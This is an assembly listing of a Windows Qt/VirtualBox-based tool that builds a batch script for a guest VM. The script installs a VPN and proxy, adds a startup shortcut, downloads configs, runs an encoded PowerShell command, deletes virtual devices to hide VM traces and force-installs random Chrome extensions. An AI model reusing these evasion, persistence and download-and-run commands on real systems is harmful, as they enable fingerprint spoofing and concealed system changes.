lea rcx, [rbp + 0x550]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x550]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x2e8]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
btr r14d, 8
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
btr r14d, 7
mov dword [rsp + 0x34], r14d
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rsi + 0x30]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rsi + 0x38]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rsi + 0x40]
lea rcx, [rbp + 0x278]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rsi + 0x48]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
mov rax, qword [rbp + 0x278]
cmp dword [rax + 4], 0
je 0x14011e950
mov edx, 0x1a
lea rcx, str._programfiles_OpenVPN_bin
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x2f8], rax
mov edx, 0xe1
lea rcx, str.echo_Installing_VPN...__cd__d__MY_VBOX_ADDITIONS___for__r___i_in__OpenVPN__amd64.msi__do___start__wait_msiexec.exe__i____i___passive___mkdir___userprofile_OpenVPNconfig____nul__cd__d___userprofile_OpenVPNconfig__
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x418], rax
lea rdx, [rbp + 0x418]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x418]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov rax, qword [rbp + 0xd0]
cmp dword [rax + 4], 0
je 0x14011e75b
mov rax, qword [rbp + 0x1f8]
cmp dword [rax + 4], 0
je 0x14011e75b
mov edx, 0x28
lea rcx, str.__auth.txt_echo__1__auth.txt_echo__2
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x3b0], rax
mov dl, 0x20
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x1f8]
lea rdx, [rbp + 0x420]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x420]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x428]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov edx, 0xf1
lea rcx, str.powershell___s_New_Object__COM_WScript.Shell_.CreateShortcut__appdata_MicrosoftWindowsStart_MenuProgramsStartupopenvpn.lnk___s.TargetPath_1openvpn_gui.exe__s.Arguments__connect_0001.ovpn__s.WorkingDirectory_1__s.Save____
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x3b8], rax
mov dl, 0x20
lea rcx, [rbp + 0x3aa]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x3b8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x430]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3b8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov edx, 8
lea rcx, str.https:__
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x3c0], rax
mov r8d, 1
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x278]
call qword [sym.imp.Qt5Core.dll_public:_bool___cdecl_QString::startsWith_class_QString_const____ptr64__enum_Qt::CaseSensitivity_const___ptr64]
movzx ebx, al
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov edx, 0x38
test bl, bl
je 0x14011e890
lea rcx, str.powershell__Invoke_WebRequest__1__OutFile_0001.ovpn___
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x3c8], rax
mov dl, 0x20
lea rcx, [rbp + 0x3ac]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0x3c8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x438]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3c8]
jmp 0x14011e8be
lea rcx, str.copy__MY_VBOX_ADDITIONS_.._vpn_config.ovpn_0001.ovpn_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x3d0], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov edx, 0x4a
lea rcx, str.start__VPN____1openvpn_gui.exe____connect_0001.ovpn__timeout_15___nul_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x3d8], rax
mov dl, 0x20
lea rcx, [rbp + 0x3ae]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x3d8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x440]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3d8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2f8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
jmp 0x14011edce
mov rax, qword [rbp + 0xe0]
cmp dword [rax + 4], 0
je 0x14011ed86
mov rax, qword [rbp + 0xd8]
cmp dword [rax + 4], 0
je 0x14011ed86
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
nop
mov rax, qword [rbp - 0x68]
cmp dword [rax + 4], 0
jne 0x14011e9b7
lea rdx, [rsi + 0x58]
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_class_QString_const____ptr64____ptr64]
mov rax, qword [rbp - 0x68]
cmp dword [rax + 4], 0
jne 0x14011e9b7
lea rdx, str.1.1.1.1_1.0.0.1
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::operator_char_const____ptr64____ptr64]
lea rdx, str.xcopy__e__y__i__MY_VBOX_ADDITIONS_Tools_tun2socks___userprofile_Desktop_tun2socks____nul__timeout_2___nul_r_npushd___userprofile_Desktop_tun2socks__r_ndel__f__q_start.bat___nul_r_n__start.bat_echo__echo_off__start.bat_echo_pushd____dp0__r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
mov rax, qword [rbp + 0xd0]
cmp dword [rax + 4], 0
jne 0x14011eb57
mov edx, 0x83
lea rcx, str.__start.bat_echo_tun2socks.exe___dns_addresses_3___product_modeno___proxyserver_1___proxyport_2___proxyuser___proxypassword_r_n
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x3f0], rax
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0x3f0]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x590], rbx
mov qword [rbp + 0x598], rax
mov rax, qword [rbp - 0x68]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x560], rbx
mov qword [rbp + 0x568], rax
mov byte [rbp + 0x660], 2
movups xmm0, xmmword [rbp + 0x560]
movups xmmword [rbp + 0x668], xmm0
mov rax, qword [rbp + 0xd8]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x570], rbx
mov qword [rbp + 0x578], rax
mov byte [rbp + 0x648], 2
movups xmm0, xmmword [rbp + 0x570]
movups xmmword [rbp + 0x650], xmm0
mov rax, qword [rbp + 0xe0]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], rax
mov byte [rbp + 0x630], 2
movups xmm0, xmmword [rbp + 0x580]
movups xmmword [rbp + 0x638], xmm0
lea rax, [rbp + 0x630]
mov qword [rbp + 0x6f0], rax
lea rax, [rbp + 0x648]
mov qword [rbp + 0x6f8], rax
lea rax, [rbp + 0x660]
mov qword [rbp + 0x700], rax
mov qword [rbp + 0x708], r12
movaps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x610], xmm0
lea r9, [rbp + 0x6f0]
mov r8d, 3
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.Qt5Core.dll_class_QString___cdecl_QtPrivate::argToQString_class_QStringView__unsigned_long_long_unsigned___int64___struct_QtPrivate::ArgBase_const____ptr64____ptr64_]
or r14d, 0xe00
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x3e8]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3f0]
jmp 0x14011ed61
mov edx, 0x87
lea rcx, str.__start.bat_echo_tun2socks.exe___dns_addresses_5___product_modeno___proxyserver_1___proxyport_2___proxyuser_3___proxypassword_4_r_n
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x400], rax
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0x400]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp - 0x68]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x5a0], rbx
mov qword [rbp + 0x5a8], rax
mov byte [rbp + 0x6d8], 2
movups xmm0, xmmword [rbp + 0x5a0]
movups xmmword [rbp + 0x6e0], xmm0
mov rax, qword [rbp + 0x1f8]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x5b0], rbx
mov qword [rbp + 0x5b8], rax
mov byte [rbp + 0x6c0], 2
movups xmm0, xmmword [rbp + 0x5b0]
movups xmmword [rbp + 0x6c8], xmm0
mov rax, qword [rbp + 0xd0]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x5c0], rbx
mov qword [rbp + 0x5c8], rax
mov byte [rbp + 0x6a8], 2
movups xmm0, xmmword [rbp + 0x5c0]
movups xmmword [rbp + 0x6b0], xmm0
mov rax, qword [rbp + 0xd8]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x5d0], rbx
mov qword [rbp + 0x5d8], rax
mov byte [rbp + 0x690], 2
movups xmm0, xmmword [rbp + 0x5d0]
movups xmmword [rbp + 0x698], xmm0
mov rax, qword [rbp + 0xe0]
movsxd rbx, dword [rax + 4]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.Qt5Core.dll_public:_class_QChar_const____ptr64___cdecl_QString::data_void_const___ptr64]
mov qword [rbp + 0x5e0], rbx
mov qword [rbp + 0x5e8], rax
mov byte [rbp + 0x678], 2
movups xmm0, xmmword [rbp + 0x5e0]
movups xmmword [rbp + 0x680], xmm0
lea rax, [rbp + 0x678]
mov qword [rbp + 0x728], rax
lea rax, [rbp + 0x690]
mov qword [rbp + 0x730], rax
lea rax, [rbp + 0x6a8]
mov qword [rbp + 0x738], rax
lea rax, [rbp + 0x6c0]
mov qword [rbp + 0x740], rax
lea rax, [rbp + 0x6d8]
mov qword [rbp + 0x748], rax
mov qword [rbp + 0x750], r12
movaps xmm0, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x620], xmm0
lea r9, [rbp + 0x728]
mov r8d, 5
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x3f8]
call qword [sym.imp.Qt5Core.dll_class_QString___cdecl_QtPrivate::argToQString_class_QStringView__unsigned_long_long_unsigned___int64___struct_QtPrivate::ArgBase_const____ptr64____ptr64_]
or r14d, 0x7000
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x3f8]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x3f8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x400]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, str.__start.bat_echo_popd_r_nstart____start.bat_r_npopd_r_necho_Waiting_for_tun2socks_to_start..._r_n:loop_r_ntimeout__t_1___nul_r_ntasklist__v__fi__imagename_eq_cmd.exe__find__VEthernet__tun2socks____nul__goto_:exitloop_r_ngoto_:loop_r_n:exitloop_r_necho_Waiting_for_tun2socks_to_connect..._r_ntimeout_10___nul_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
nop
lea rcx, [rbp - 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
jmp 0x14011edce
lea rdx, str.echo_Installing_VC__r_nstart__MY_VBOX_ADDITIONS_ToolsVisualStudio_redist.x64.exe__install__quiet__norestart___nul__timeout_2___nul_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.xcopy__e__y__i__MY_VBOX_ADDITIONS_Tools_nekoray___userprofile_Desktop_nekoray____nul__timeout_2___nul_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.echo._r_necho______r_necho___Now_you_can_set_your_SOCKS5_proxy__r_necho___You_can_use_Nekoray_from_VM_Desktop__turn_it_in_TUN_mode__or_Proxifier__r_necho______r_necho._r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.pause_
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.echo_Updating_EDGE_Browser...__powershell__encodedCommand_UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACAAKAB4ADgANgApAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAGQAZwBlAFUAcABkAGEAdABlAFwATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQAuAGUAeABlACIAIAAtAGEAcgBnAHUAbQBlAG4AdABsAGkAcwB0ACAAIgAvAHMAaQBsAGUAbgB0ACAALwBpAG4AcwB0AGEAbABsACAAYQBwAHAAZwB1AGkAZAA9AHsANQA2AEUAQgAxADgARgA4AC0AQgAwADAAOAAtADQAQwBCAEQALQBCADYARAAyAC0AOABDADkANwBGAEUANwBFADkAMAA2ADIAfQAmAGEAcABwAG4AYQBtAGUAPQBNAGkAYwByAG8AcwBvAGYAdAAlADIAMABFAGQAZwBlACYAbgBlAGUAZABzAGEAZABtAGkAbgA9AFQAcgB1AGUAIgA__r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str._MY_VBOX_ADDITIONS_Tools_nekoraylibcore.exe_remove__ROOTVDRVROOT0000___nul__MY_VBOX_ADDITIONS_Tools_nekoraylibcore.exe_remove__ROOTNDISVIRTUALBUS0000___nul__MY_VBOX_ADDITIONS_Tools_nekoraylibcore.exe_remove__ROOTRDPBUS0000___nul__MY_VBOX_ADDITIONS_Tools_nekoraylibcore.exe_remove__ROOTKDNIC0000___nul__MY_VBOX_ADDITIONS_Tools_nekoraylibcore.exe_remove__ROOTVID0000___nul_echo_All_foreign_devices_was_deleted.__r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
cmp byte [rsi + 0x16], 0
je 0x14011fceb
lea rdx, str.pushd__tmp___echo_Installing_Chrome_and_randomizing_Client_IDs...__powershell___ProgressPreference__SilentlyContinue___uri__https:__dl.google.com_chrome_install_latest_chrome_installer.exe___ua__Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_113.0.0.0_Safari_537.36_Edg_113.0.1774.42___res__Invoke_WebRequest__UseBasicParsing__Method_Head__useragent__ua__uri__uri___StatusCode___res.StatusCode__if___StatusCode__eq_200___Write_Host__NoNewLine_Downloading_installer___res.Headers_Content_Length__1024.0_1024.0_.ToString_.___MB...___curl.exe__L__uri__A__ua____o_ChromeSetup.exe___start__Installing_Chrome___wait_ChromeSetup.exe__install__powershell___ins__Get_ItemProperty_HKLM:SoftwareMicrosoftWindowsCurrentVersionUninstall___Select_Object_DisplayName__DisplayVersion__Publisher__InstallDate___ins__Get_ItemProperty_HKLM:SoftwareWow6432NodeMicrosoftWindowsCurrentVersionUninstall__Select_Object_DisplayName_DisplayVersion___ins______.DisplayName__match_chrome___Foreach_Object__Write_Host_Installed___.DisplayName_version___.DisplayVersion___r_npopd_r_n
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.echo_Setting_Chrome_as_default_browser...___MY_VBOX_ADDITIONS_etcSetDefaultBrowserSetDefaultBrowser.exe_HKLM__Google_Chrome__
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
cmp byte [rsi + 0x19], 0
je 0x14011effb
lea rdx, str.echo_Installing_random_Chrome_extensions..._
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
mov edx, 5
lea ecx, [rdx - 2]
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov r15d, eax
lea rcx, [rbp - 0x60]
call fcn.140121610
nop
mov edi, r12d
nop word [rax + rax]
lea rcx, [rbp - 0x60]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QListData::size_void_const___ptr64]
cmp r15d, eax
jg 0x14011ee74
mov eax, r15d
jmp 0x14011ee7e
lea rcx, [rbp - 0x60]
call qword [sym.imp.Qt5Core.dll_public:_int___cdecl_QListData::size_void_const___ptr64]
cmp edi, eax
jge 0x14011ef8e
mov edx, 0x6d
lea rcx, str.reg_add__HKLMSOFTWAREPoliciesGoogleChromeExtensionInstallForcelist___v___1___t_REG_SZ__d___2___f___nul_r_n
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x408], rax
mov dl, 0x20
lea rcx, [rbp + 0x2c8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov r8d, 0xa
lea edx, [rdi + 1]
lea rcx, [rbp + 0x458]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::number_int__int_]
nop
mov word [rsp + 0x20], bx
xor r9d, r9d
mov r8, rax
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x408]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov r12, rax
mov dl, 0x20
lea rcx, [rbp + 0x2ca]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov rcx, qword [rbp - 0x60]
mov r8d, dword [rcx]
cmp r8d, 1
jbe 0x14011ef19
mov rcx, qword [rbp - 0x60]
mov edx, dword [rcx + 4]
lea rcx, [rbp - 0x60]
call fcn.140010b80
mov edx, edi
lea rcx, [rbp - 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void____ptr64____ptr64___cdecl_QListData::at_int_const___ptr64]
mov word [rsp + 0x20], bx
xor r9d, r9d
mov r8, rax
lea rdx, [rbp + 0x448]
mov rcx, r12
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x448]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x450]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x458]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x408]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
inc edi
jmp 0x14011ee60
mov rax, qword [rbp - 0x60]
mov ecx, dword [rax]
test ecx, ecx
je 0x14011efac
cmp ecx, 0xffffffff
je 0x14011efec
mov rax, qword [rbp - 0x60]
lock add dword [rax], 0xffffffff
setne al
test al, al
jne 0x14011efec
mov r14, qword [rbp - 0x60]
movsxd rdi, dword [r14 + 8]
add rdi, 2
lea rdi, [r14 + rdi*8]
movsxd rbx, dword [r14 + 0xc]
add rbx, 2
lea rbx, [r14 + rbx*8]
cmp rbx, rdi
je 0x14011efe2
nop dword [rax]
sub rbx, 8
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp rbx, rdi
jne 0x14011efd0
mov rcx, r14
call qword [sym.imp.Qt5Core.dll_public:_static_void___cdecl_QListData::dispose_struct_QListData::Data____ptr64_]
nop
mov r14d, dword [rsp + 0x34]
mov r15, qword [rbp + 0x3a0]
xor r12d, r12d
cmp byte [rsi + 0x17], 0
je 0x14011f95a
mov edx, 0x24
lea rcx, str.Browser_Hardening._Stage_1_Finished
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x128], rax
mov edx, 3
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x210], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x138], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1e8], rax
mov dl, 0x20
lea rcx, [rbp - 0x2e]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
